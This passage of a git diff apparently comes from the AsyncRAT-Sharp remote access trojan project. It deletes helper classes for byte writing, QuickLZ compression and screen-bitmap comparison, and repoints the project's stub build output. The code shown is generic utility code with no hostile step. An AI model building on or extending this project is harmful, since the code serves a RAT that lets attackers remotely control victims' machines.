|
||||
case 3:
|
||||
h ^= (UInt16)(*realData);
|
||||
h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
|
||||
h *= m;
|
||||
break;
|
||||
case 2:
|
||||
h ^= (UInt16)(*realData);
|
||||
h *= m;
|
||||
break;
|
||||
case 1:
|
||||
h ^= *((Byte*)realData);
|
||||
h *= m;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// Do a few final mixes of the hash to ensure the last few
|
||||
// bytes are well-incorporated.
|
||||
|
||||
h ^= h >> 13;
|
||||
h *= m;
|
||||
h ^= h >> 15;
|
||||
|
||||
return h;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,113 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class PayloadWriter : IDisposable
|
||||
{
|
||||
public Stream vStream { get; set; }
|
||||
public PayloadWriter()
|
||||
{
|
||||
vStream = new MemoryStream();
|
||||
}
|
||||
public PayloadWriter(Stream stream)
|
||||
{
|
||||
vStream = stream;
|
||||
}
|
||||
|
||||
public void WriteBytes(byte[] value)
|
||||
{
|
||||
vStream.Write(value, 0, value.Length);
|
||||
}
|
||||
|
||||
public void WriteBytes(byte[] value, int Offset, int Length)
|
||||
{
|
||||
vStream.Write(value, Offset, Length);
|
||||
}
|
||||
|
||||
public void WriteInteger(int value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// A integer with 3 bytes not 4
|
||||
/// </summary>
|
||||
public void WriteThreeByteInteger(int value)
|
||||
{
|
||||
WriteByte((byte)value);
|
||||
WriteByte((byte)(value >> 8));
|
||||
WriteByte((byte)(value >> 16));
|
||||
}
|
||||
|
||||
public void WriteUInteger(uint value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
public void WriteShort(short value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteUShort(ushort value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteULong(ulong value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
public void WriteByte(byte value)
|
||||
{
|
||||
vStream.WriteByte(value);
|
||||
}
|
||||
|
||||
public void WriteBool(bool value)
|
||||
{
|
||||
WriteByte(value ? (byte)1 : (byte)0);
|
||||
}
|
||||
|
||||
public void WriteDouble(double value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteLong(long value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteFloat(float value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteDecimal(decimal value)
|
||||
{
|
||||
BinaryWriter writer = new BinaryWriter(vStream);
|
||||
writer.Write(value);
|
||||
}
|
||||
|
||||
public void WriteString(string value)
|
||||
{
|
||||
if (!(value == null))
|
||||
WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
|
||||
else
|
||||
throw new NullReferenceException("value");
|
||||
vStream.WriteByte(0);
|
||||
vStream.WriteByte(0);
|
||||
}
|
||||
|
||||
public int Length
|
||||
{
|
||||
get { return (int)vStream.Length; }
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
vStream.Close();
|
||||
vStream.Dispose();
|
||||
vStream = null;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,58 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
/// <summary>
|
||||
/// A helper class for pointers
|
||||
/// </summary>
|
||||
public class PointerHelper
|
||||
{
|
||||
private int _offset;
|
||||
|
||||
public IntPtr Pointer
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
public int TotalLength { get; private set; }
|
||||
|
||||
public int Offset
|
||||
{
|
||||
get { return _offset; }
|
||||
set
|
||||
{
|
||||
if (value < 0)
|
||||
throw new Exception("Offset must be >= 1");
|
||||
|
||||
if (value >= TotalLength)
|
||||
throw new Exception("Offset cannot go outside of the reserved buffer space");
|
||||
|
||||
_offset = value;
|
||||
}
|
||||
}
|
||||
|
||||
public PointerHelper(IntPtr pointer, int Length)
|
||||
{
|
||||
this.TotalLength = Length;
|
||||
this.Pointer = pointer;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies data from Source to the current Pointer Offset
|
||||
/// </summary>
|
||||
public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
|
||||
{
|
||||
if (CheckBoundries(this.Offset, SourceLength))
|
||||
throw new AccessViolationException("Cannot write outside of the buffer space");
|
||||
NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
|
||||
}
|
||||
|
||||
private bool CheckBoundries(int offset, int length)
|
||||
{
|
||||
return offset + length > TotalLength;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,487 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
// QuickLZ data compression library
|
||||
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
|
||||
// lar@quicklz.com
|
||||
//
|
||||
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
|
||||
// released into public must be open source) or under a commercial license if such
|
||||
// has been acquired (see http://www.quicklz.com/order.html). The commercial license
|
||||
// does not cover derived or ported versions created by third parties under GPL.
|
||||
//
|
||||
// Only a subset of the C library has been ported, namely level 1 and 3 not in
|
||||
// streaming mode.
|
||||
//
|
||||
// Version: 1.5.0 final
|
||||
|
||||
public class SafeQuickLZ
|
||||
{
|
||||
public const int QLZ_VERSION_MAJOR = 1;
|
||||
public const int QLZ_VERSION_MINOR = 5;
|
||||
public const int QLZ_VERSION_REVISION = 0;
|
||||
|
||||
// Streaming mode not supported
|
||||
public const int QLZ_STREAMING_BUFFER = 0;
|
||||
|
||||
// Bounds checking not supported Use try...catch instead
|
||||
public const int QLZ_MEMORY_SAFE = 0;
|
||||
|
||||
// Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
|
||||
private const int HASH_VALUES = 4096;
|
||||
private const int MINOFFSET = 2;
|
||||
private const int UNCONDITIONAL_MATCHLEN = 6;
|
||||
private const int UNCOMPRESSED_END = 4;
|
||||
private const int CWORD_LEN = 4;
|
||||
private const int DEFAULT_HEADERLEN = 9;
|
||||
private const int QLZ_POINTERS_1 = 1;
|
||||
private const int QLZ_POINTERS_3 = 16;
|
||||
|
||||
private int headerLen(byte[] source, int offset)
|
||||
{
|
||||
return ((source[offset] & 2) == 2) ? 9 : 3;
|
||||
}
|
||||
|
||||
public int sizeDecompressed(byte[] source, int offset)
|
||||
{
|
||||
if (headerLen(source, offset) == 9)
|
||||
return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
|
||||
else
|
||||
return source[offset + 2];
|
||||
}
|
||||
|
||||
public int sizeCompressed(byte[] source, int offset)
|
||||
{
|
||||
if (headerLen(source, offset) == 9)
|
||||
return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
|
||||
else
|
||||
return source[offset + 1];
|
||||
}
|
||||
|
||||
private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
|
||||
{
|
||||
dst[0] = (byte)(2 | (compressible ? 1 : 0));
|
||||
dst[0] |= (byte)(level << 2);
|
||||
dst[0] |= (1 << 6);
|
||||
dst[0] |= (0 << 4);
|
||||
fast_write(dst, 1, size_decompressed, 4);
|
||||
fast_write(dst, 5, size_compressed, 4);
|
||||
}
|
||||
|
||||
public byte[] compress(byte[] source, int Offset, int Length, int level)
|
||||
{
|
||||
int src = Offset;
|
||||
int dst = DEFAULT_HEADERLEN + CWORD_LEN;
|
||||
uint cword_val = 0x80000000;
|
||||
int cword_ptr = DEFAULT_HEADERLEN;
|
||||
byte[] destination = new byte[Length + 400];
|
||||
int[,] hashtable;
|
||||
int[] cachetable = new int[HASH_VALUES];
|
||||
byte[] hash_counter = new byte[HASH_VALUES];
|
||||
byte[] d2;
|
||||
int fetch = 0;
|
||||
int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
|
||||
int lits = 0;
|
||||
|
||||
if (level != 1 && level != 3)
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
|
||||
if (level == 1)
|
||||
hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
|
||||
else
|
||||
hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
|
||||
|
||||
if (Length == 0)
|
||||
return new byte[0];
|
||||
|
||||
if (src <= last_matchstart)
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
|
||||
while (src <= last_matchstart)
|
||||
{
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
if (src > Length >> 1 && dst > src - (src >> 5))
|
||||
{
|
||||
d2 = new byte[Length + DEFAULT_HEADERLEN];
|
||||
write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
|
||||
System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
|
||||
return d2;
|
||||
}
|
||||
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||
cword_ptr = dst;
|
||||
dst += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
int o = hashtable[hash, 0];
|
||||
int cache = cachetable[hash] ^ fetch;
|
||||
cachetable[hash] = fetch;
|
||||
hashtable[hash, 0] = src;
|
||||
|
||||
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
|
||||
source[src] == source[src - 2] && source[src] == source[src - 1] &&
|
||||
source[src] == source[src + 1] && source[src] == source[src + 2])))
|
||||
{
|
||||
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||
if (source[o + 3] != source[src + 3])
|
||||
{
|
||||
int f = 3 - 2 | (hash << 4);
|
||||
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||
src += 3;
|
||||
dst += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
int old_src = src;
|
||||
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||
|
||||
src += 4;
|
||||
if (source[o + src - old_src] == source[src])
|
||||
{
|
||||
src++;
|
||||
if (source[o + src - old_src] == source[src])
|
||||
{
|
||||
src++;
|
||||
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
|
||||
src++;
|
||||
}
|
||||
}
|
||||
|
||||
int matchlen = src - old_src;
|
||||
|
||||
hash <<= 4;
|
||||
if (matchlen < 18)
|
||||
{
|
||||
int f = (hash | (matchlen - 2));
|
||||
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||
dst += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
fast_write(destination, dst, hash | (matchlen << 16), 3);
|
||||
dst += 3;
|
||||
}
|
||||
}
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
lits = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
lits++;
|
||||
hash_counter[hash] = 1;
|
||||
destination[dst] = source[src];
|
||||
cword_val = (cword_val >> 1);
|
||||
src++;
|
||||
dst++;
|
||||
fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
|
||||
int o, offset2;
|
||||
int matchlen, k, m, best_k = 0;
|
||||
byte c;
|
||||
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
|
||||
c = hash_counter[hash];
|
||||
matchlen = 0;
|
||||
offset2 = 0;
|
||||
for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
|
||||
{
|
||||
o = hashtable[hash, k];
|
||||
if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
|
||||
{
|
||||
m = 3;
|
||||
while (source[o + m] == source[src + m] && m < remaining)
|
||||
m++;
|
||||
if ((m > matchlen) || (m == matchlen && o > offset2))
|
||||
{
|
||||
offset2 = o;
|
||||
matchlen = m;
|
||||
best_k = k;
|
||||
}
|
||||
}
|
||||
}
|
||||
o = offset2;
|
||||
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
|
||||
c++;
|
||||
hash_counter[hash] = c;
|
||||
|
||||
if (matchlen >= 3 && src - o < 131071)
|
||||
{
|
||||
int offset = src - o;
|
||||
|
||||
for (int u = 1; u < matchlen; u++)
|
||||
{
|
||||
fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
|
||||
hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
c = hash_counter[hash]++;
|
||||
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
|
||||
}
|
||||
|
||||
src += matchlen;
|
||||
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||
|
||||
if (matchlen == 3 && offset <= 63)
|
||||
{
|
||||
fast_write(destination, dst, offset << 2, 1);
|
||||
dst++;
|
||||
}
|
||||
else if (matchlen == 3 && offset <= 16383)
|
||||
{
|
||||
fast_write(destination, dst, (offset << 2) | 1, 2);
|
||||
dst += 2;
|
||||
}
|
||||
else if (matchlen <= 18 && offset <= 1023)
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
|
||||
dst += 2;
|
||||
}
|
||||
else if (matchlen <= 33)
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
|
||||
dst += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
|
||||
dst += 4;
|
||||
}
|
||||
lits = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
destination[dst] = source[src];
|
||||
cword_val = (cword_val >> 1);
|
||||
src++;
|
||||
dst++;
|
||||
}
|
||||
}
|
||||
}
|
||||
while (src <= Length - 1)
|
||||
{
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||
cword_ptr = dst;
|
||||
dst += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
destination[dst] = source[src];
|
||||
src++;
|
||||
dst++;
|
||||
cword_val = (cword_val >> 1);
|
||||
}
|
||||
while ((cword_val & 1) != 1)
|
||||
{
|
||||
cword_val = (cword_val >> 1);
|
||||
}
|
||||
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
|
||||
write_header(destination, level, true, Length, dst);
|
||||
d2 = new byte[dst];
|
||||
System.Array.Copy(destination, d2, dst);
|
||||
return d2;
|
||||
}
|
||||
|
||||
|
||||
private void fast_write(byte[] a, int i, int value, int numbytes)
|
||||
{
|
||||
for (int j = 0; j < numbytes; j++)
|
||||
a[i + j] = (byte)(value >> (j * 8));
|
||||
}
|
||||
|
||||
public byte[] decompress(byte[] source, int Offset, int Length)
|
||||
{
|
||||
int level;
|
||||
int size = sizeDecompressed(source, Offset);
|
||||
int src = headerLen(source, Offset) + Offset;
|
||||
int dst = 0;
|
||||
uint cword_val = 1;
|
||||
byte[] destination = new byte[size];
|
||||
int[] hashtable = new int[4096];
|
||||
byte[] hash_counter = new byte[4096];
|
||||
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
|
||||
int last_hashed = -1;
|
||||
int hash;
|
||||
uint fetch = 0;
|
||||
|
||||
level = (source[Offset] >> 2) & 0x3;
|
||||
|
||||
if (level != 1 && level != 3)
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
|
||||
if ((source[Offset] & 1) != 1)
|
||||
{
|
||||
byte[] d2 = new byte[size];
|
||||
System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
|
||||
return d2;
|
||||
}
|
||||
|
||||
for (; ; )
|
||||
{
|
||||
if (cword_val == 1)
|
||||
{
|
||||
cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
src += 4;
|
||||
if (dst <= last_matchstart)
|
||||
{
|
||||
if (level == 1)
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||
else
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
}
|
||||
}
|
||||
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
uint matchlen;
|
||||
uint offset2;
|
||||
|
||||
cword_val = cword_val >> 1;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
hash = ((int)fetch >> 4) & 0xfff;
|
||||
offset2 = (uint)hashtable[hash];
|
||||
|
||||
if ((fetch & 0xf) != 0)
|
||||
{
|
||||
matchlen = (fetch & 0xf) + 2;
|
||||
src += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
matchlen = source[src + 2];
|
||||
src += 3;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint offset;
|
||||
if ((fetch & 3) == 0)
|
||||
{
|
||||
offset = (fetch & 0xff) >> 2;
|
||||
matchlen = 3;
|
||||
src++;
|
||||
}
|
||||
else if ((fetch & 2) == 0)
|
||||
{
|
||||
offset = (fetch & 0xffff) >> 2;
|
||||
matchlen = 3;
|
||||
src += 2;
|
||||
}
|
||||
else if ((fetch & 1) == 0)
|
||||
{
|
||||
offset = (fetch & 0xffff) >> 6;
|
||||
matchlen = ((fetch >> 2) & 15) + 3;
|
||||
src += 2;
|
||||
}
|
||||
else if ((fetch & 127) != 3)
|
||||
{
|
||||
offset = (fetch >> 7) & 0x1ffff;
|
||||
matchlen = ((fetch >> 2) & 0x1f) + 2;
|
||||
src += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
offset = (fetch >> 15);
|
||||
matchlen = ((fetch >> 7) & 255) + 3;
|
||||
src += 4;
|
||||
}
|
||||
offset2 = (uint)(dst - offset);
|
||||
}
|
||||
|
||||
destination[dst + 0] = destination[offset2 + 0];
|
||||
destination[dst + 1] = destination[offset2 + 1];
|
||||
destination[dst + 2] = destination[offset2 + 2];
|
||||
|
||||
for (int i = 3; i < matchlen; i += 1)
|
||||
{
|
||||
destination[dst + i] = destination[offset2 + i];
|
||||
}
|
||||
|
||||
dst += (int)matchlen;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
|
||||
while (last_hashed < dst - matchlen)
|
||||
{
|
||||
last_hashed++;
|
||||
hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
|
||||
hashtable[hash] = last_hashed;
|
||||
hash_counter[hash] = 1;
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
|
||||
}
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
}
|
||||
last_hashed = dst - 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (dst <= last_matchstart)
|
||||
{
|
||||
destination[dst] = source[src];
|
||||
dst += 1;
|
||||
src += 1;
|
||||
cword_val = cword_val >> 1;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
while (last_hashed < dst - 3)
|
||||
{
|
||||
last_hashed++;
|
||||
int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
|
||||
hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
|
||||
hashtable[hash] = last_hashed;
|
||||
hash_counter[hash] = 1;
|
||||
}
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
while (dst <= size - 1)
|
||||
{
|
||||
if (cword_val == 1)
|
||||
{
|
||||
src += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
destination[dst] = source[src];
|
||||
dst++;
|
||||
src++;
|
||||
cword_val = cword_val >> 1;
|
||||
}
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,177 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class SimpleBitmap
|
||||
{
|
||||
private object ProcessingLock = new object();
|
||||
|
||||
public SimpleBitmapInfo Info { get; internal set; }
|
||||
public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
|
||||
public IntPtr Scan0 { get; internal set; }
|
||||
public int Scan0_int { get; internal set; }
|
||||
public BitmapData bitmapData { get; internal set; }
|
||||
public Bitmap bitMap { get; set; }
|
||||
|
||||
public class SimpleBitmapInfo
|
||||
{
|
||||
public SimpleBitmapInfo()
|
||||
{
|
||||
Clear();
|
||||
}
|
||||
public SimpleBitmapInfo(BitmapData data)
|
||||
{
|
||||
Load(data);
|
||||
}
|
||||
public int Stride { get; protected set; }
|
||||
public int PixelSize { get; protected set; }
|
||||
public int Width { get; protected set; }
|
||||
public int Height { get; protected set; }
|
||||
|
||||
public int TotalSize { get; protected set; }
|
||||
|
||||
internal void Clear()
|
||||
{
|
||||
Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
|
||||
}
|
||||
internal void Load(BitmapData data)
|
||||
{
|
||||
Width = data.Width; Height = data.Height; Stride = data.Stride;
|
||||
|
||||
PixelSize = Math.Abs(data.Stride) / data.Width;
|
||||
TotalSize = data.Width * data.Height * PixelSize;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
int calc = 0;
|
||||
int WidthSize = block.Width * sharedInfo.PixelSize;
|
||||
|
||||
calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
|
||||
|
||||
for (int i = 0; i < block.Height; i++)
|
||||
{
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
|
||||
return false;
|
||||
calc += sharedInfo.Stride;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
int calc = 0;
|
||||
int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
|
||||
|
||||
calc = y * sharedInfo.Stride;
|
||||
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
|
||||
{
|
||||
int calc = 0;
|
||||
int WidthSize = block.Width * Info.PixelSize;
|
||||
int CopyOffset = 0;
|
||||
int scan0 = Scan0.ToInt32();
|
||||
int destSize = WidthSize * block.Height;
|
||||
|
||||
if (dest == null || dest.Length != destSize)
|
||||
dest = new byte[destSize];
|
||||
|
||||
calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
|
||||
|
||||
fixed (byte* ptr = dest)
|
||||
{
|
||||
for (int i = 0; i < block.Height; i++)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
|
||||
calc += Info.Stride;
|
||||
CopyOffset += WidthSize;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public SimpleBitmap()
|
||||
{
|
||||
Scan0 = IntPtr.Zero;
|
||||
bitmapData = null;
|
||||
bitMap = null;
|
||||
|
||||
Info = new SimpleBitmapInfo();
|
||||
}
|
||||
public SimpleBitmap(Bitmap bmp)
|
||||
{
|
||||
this.bitMap = bmp;
|
||||
}
|
||||
|
||||
public void Lock()
|
||||
{
|
||||
if (Locked)
|
||||
throw new Exception("Already locked");
|
||||
|
||||
lock (ProcessingLock)
|
||||
{
|
||||
bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
|
||||
|
||||
Info = new SimpleBitmapInfo(bitmapData);
|
||||
|
||||
Scan0 = bitmapData.Scan0;
|
||||
Scan0_int = Scan0.ToInt32();
|
||||
}
|
||||
}
|
||||
public void Unlock()
|
||||
{
|
||||
if (!Locked)
|
||||
throw new Exception("Nothing to unlock");
|
||||
|
||||
lock (ProcessingLock)
|
||||
{
|
||||
Scan0 = IntPtr.Zero;
|
||||
Scan0_int = 0;
|
||||
|
||||
Info.Clear();
|
||||
bitMap.UnlockBits(bitmapData);
|
||||
bitmapData = null;
|
||||
}
|
||||
}
|
||||
public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
|
||||
{
|
||||
int CopySize = Info.PixelSize * loc.Width;
|
||||
int OffsetX = loc.X * Info.PixelSize;
|
||||
int TotalCopied = 0;
|
||||
|
||||
fixed (byte* ptr = block)
|
||||
{
|
||||
for (int i = 0; i < loc.Height; i++)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
|
||||
TotalCopied += CopySize;
|
||||
}
|
||||
}
|
||||
}
|
||||
public void Dispose(bool disposeBitmap = false)
|
||||
{
|
||||
if (Locked)
|
||||
Unlock();
|
||||
|
||||
if (disposeBitmap)
|
||||
bitMap.Dispose();
|
||||
|
||||
bitMap = null;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,6 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" />
|
||||
<Import Project="..\packages\Costura.Fody.4.0.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.4.0.0\build\Costura.Fody.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
@ -36,7 +36,7 @@
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>..\AsyncRAT-Sharp\Resources\</OutputPath>
|
||||
<OutputPath>..\AsyncRAT-Sharp\bin\Debug\Stub\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
@ -49,7 +49,7 @@
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\AsyncRAT-Sharp\Resources\</OutputPath>
|
||||
<OutputPath>..\AsyncRAT-Sharp\bin\Release\Stub\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
@ -61,8 +61,11 @@
|
||||
</PropertyGroup>
|
||||
<PropertyGroup />
|
||||
<ItemGroup>
|
||||
<Reference Include="Costura, Version=4.0.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.4.0.0\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
